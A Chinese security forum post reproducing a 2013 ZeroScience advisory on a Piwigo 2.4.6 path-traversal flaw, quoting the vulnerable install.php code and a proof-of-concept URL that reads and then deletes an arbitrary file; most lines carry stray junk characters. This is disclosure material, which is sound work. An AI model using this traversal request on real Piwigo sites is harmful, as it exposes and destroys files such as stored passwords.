找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2367|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
& x9 Y* w: T" `8 P$ e
% y) H- A! g- U; nPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。& B3 a; S5 o+ [! j3 r5 }- A
====================================================================5 N  X/ r# @' h% M, y# W9 y! t0 U
/install.php:
  m5 i- c) R. [" _9 L4 y% p-------------
+ @/ r6 U& S7 v3 s113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, z1 N: ?4 U: N% i' l3 V! s114: {6 V9 G. k7 t  t3 R4 ?# S
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];' j, h* j/ C- t* I1 ]6 y. J
116:   header('Cache-Control: no-cache, must-revalidate');
& ^' I2 ?+ l  E: B# ~. L. Y117:   header('Pragma: no-cache');1 r5 F& ?) k) Y/ F
118:   header('Content-Disposition: attachment; filename="database.inc.php"');% f4 K+ v- f" {
119:   header('Content-Transfer-Encoding: binary');+ o. |" i! G* x, S3 n! p/ z
120:   header('Content-Length: '.filesize($filename));# s6 f0 w" _1 c' c3 P
121:   echo file_get_contents($filename);0 ~+ V  e+ W3 ^( E) t6 f
122:   unlink($filename);
/ \$ H# M: r! s) d3 j: H123:   exit();: ?* w. Q* j8 y: x
124: }9 ]1 I& Y& ?$ t* B' t
====================================================================
$ h9 q" q4 S/ F + e4 s( Z& R7 m
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)0 _" w' n; [9 H+ F4 g
           Apache 2.4.2 (Win32)
1 ]9 K9 b% A( S- u- _* b           PHP 5.4.46 B4 M! z7 q# O+ n0 L
           MySQL 5.5.25a/ p: Q$ R0 {) e

9 S3 l; ~$ M" D" i- DVulnerability discovered by Gjoko 'LiquidWorm' Krstic$ k3 J# Q$ e3 |, ?/ T
                            @zeroscience! @3 u2 ~  @3 }( ?

$ ^& y9 T' r7 D0 `Advisory ID: ZSL-2013-51272 H) \3 U5 G0 s3 E, J' N
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
  a% y3 n" `3 Z- O, M' j4 QVendor Patch: http://piwigo.org/bugs/view.php?id=2843
! c: }+ V$ I7 x" s" T7 d3 K- \5 W
/ y, x2 F. a3 f) _15.02.2013: F5 c& C! E# I; v

; D$ s* v9 D2 K7 i9 ~" p0 e, e--+ _* i& Z; w+ f# k! O/ ]* |
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt9 ?. z$ F( R, E3 A" A/ a& _5 {
8 |3 A" _: Y, l# ]. m( M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表